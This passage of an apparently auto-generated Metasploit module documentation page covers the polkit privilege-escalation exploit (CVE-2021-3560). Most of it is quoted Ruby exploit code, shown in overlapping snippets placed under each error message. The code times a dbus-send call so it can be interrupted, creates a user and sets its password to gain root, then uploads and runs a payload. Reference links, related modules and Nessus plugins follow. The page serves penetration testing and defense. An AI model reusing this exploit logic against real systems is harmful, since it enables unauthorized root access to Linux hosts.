372: fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')
373: fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')
374: if datastore['TIMEOUT'] < 26
375: fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")
376: end
377:
378: if @cmd_delay.nil?
379: # cmd_delay wasn't set yet which is needed for the rest of the exploit to operate,
380: # likely cause the check method wasn't executed. Lets set it so long.
Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.
Here is a relevant code snippet related to the "Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target." error message:
379: # cmd_delay wasn't set yet which is needed for the rest of the exploit to operate,
380: # likely cause the check method wasn't executed. Lets set it so long.
381:
382: # Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
383: @cmd_delay = get_cmd_delay
384: fail_with(Failure::Unknown, 'Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
385: end
386:
387: print_status("Attempting to create user #{datastore['USERNAME']}")
388: loop_sequence = get_loop_sequence
389:
The user <USERNAME> was unable to be created. Try increasing the ITERATIONS amount.
Here is a relevant code snippet related to the "The user <USERNAME> was unable to be created. Try increasing the ITERATIONS amount." error message:
385: end
386:
387: print_status("Attempting to create user #{datastore['USERNAME']}")
388: loop_sequence = get_loop_sequence
389:
390: fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. Try increasing the ITERATIONS amount.") unless exploit_set_username(loop_sequence)
391: uid = cmd_exec("id -u #{datastore['USERNAME']}")
392: print_good("User #{datastore['USERNAME']} created with UID #{uid}")
393: print_status("Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
394: if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)
395: print_good('Obtained code execution as root!')
Attempted to set the password <ITERATIONS> times, did not work.
Here is a relevant code snippet related to the "Attempted to set the password <ITERATIONS> times, did not work." error message:
394: if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)
395: print_good('Obtained code execution as root!')
396: fname = upload_payload
397: execute_payload(fname)
398: else
399: print_error("Attempted to set the password #{datastore['Iterations']} times, did not work.")
400: end
401:
402: print_status('Attempting to remove the user added: ')
403: if exploit_delete_user(uid, loop_sequence)
404: print_good("Successfully removed #{datastore['USERNAME']}")
Unable to remove user: <USERNAME>, created during the running of this module
Here is a relevant code snippet related to the "Unable to remove user: <USERNAME>, created during the running of this module" error message:
399: print_error("Attempted to set the password #{datastore['Iterations']} times, did not work.")
400: end
401:
402: print_status('Attempting to remove the user added: ')
403: if exploit_delete_user(uid, loop_sequence)
404: print_good("Successfully removed #{datastore['USERNAME']}")
405: else
406: print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module")
407: end
408: end
409: end
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
- CVE-2021-3560
- EDB-50011
See Also
Check also the following modules related to this module:
- exploit/multi/http/coldfusion_rds_auth_bypass
- exploit/multi/http/openfire_auth_bypass
- exploit/multi/http/tomcat_jsp_upload_bypass
- exploit/osx/browser/osx_gatekeeper_bypass
- exploit/osx/local/sudo_password_bypass
- exploit/unix/misc/polycom_hdx_auth_bypass
- exploit/unix/webapp/wp_infinitewp_auth_bypass
- exploit/windows/local/applocker_bypass
- exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
- exploit/linux/local/lastore_daemon_dbus_priv_esc
- exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection
- exploit/linux/http/cisco_rv_series_authbypass_and_rce
- exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684
- exploit/linux/http/pineapple_bypass_cmdinject
- exploit/linux/http/unraid_auth_bypass_exec
- exploit/linux/misc/asus_infosvr_auth_bypass_exec
- auxiliary/analyze/modbus_zip
- auxiliary/scanner/scada/modbus_banner_grabbing
- auxiliary/scanner/scada/modbusclient
- auxiliary/scanner/scada/modbusdetect
- auxiliary/scanner/scada/modbus_findunitid
Related Nessus plugins:
- RHEL 8 : polkit (RHSA-2021:2237)
- Ubuntu 20.04 LTS / 20.10 / 21.04 : polkit vulnerability (USN-4980-1)
- Oracle Linux 8 : polkit (ELSA-2021-2238)
- SUSE SLED15 / SLES15 Security Update : polkit (SUSE-SU-2021:1843-1)
- SUSE SLES12 Security Update : polkit (SUSE-SU-2021:1842-1)
- SUSE SLES15 Security Update : polkit (SUSE-SU-2021:1844-1)
- Photon OS 4.0: Polkit PHSA-2021-4.0-0037
- Photon OS 1.0: Polkit PHSA-2021-1.0-0397
- Photon OS 3.0: Polkit PHSA-2021-3.0-0248
- Photon OS 2.0: Polkit PHSA-2021-2.0-0350
Authors
- Kevin Backhouse
- Spencer McIntyre
- jheysel-r7
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.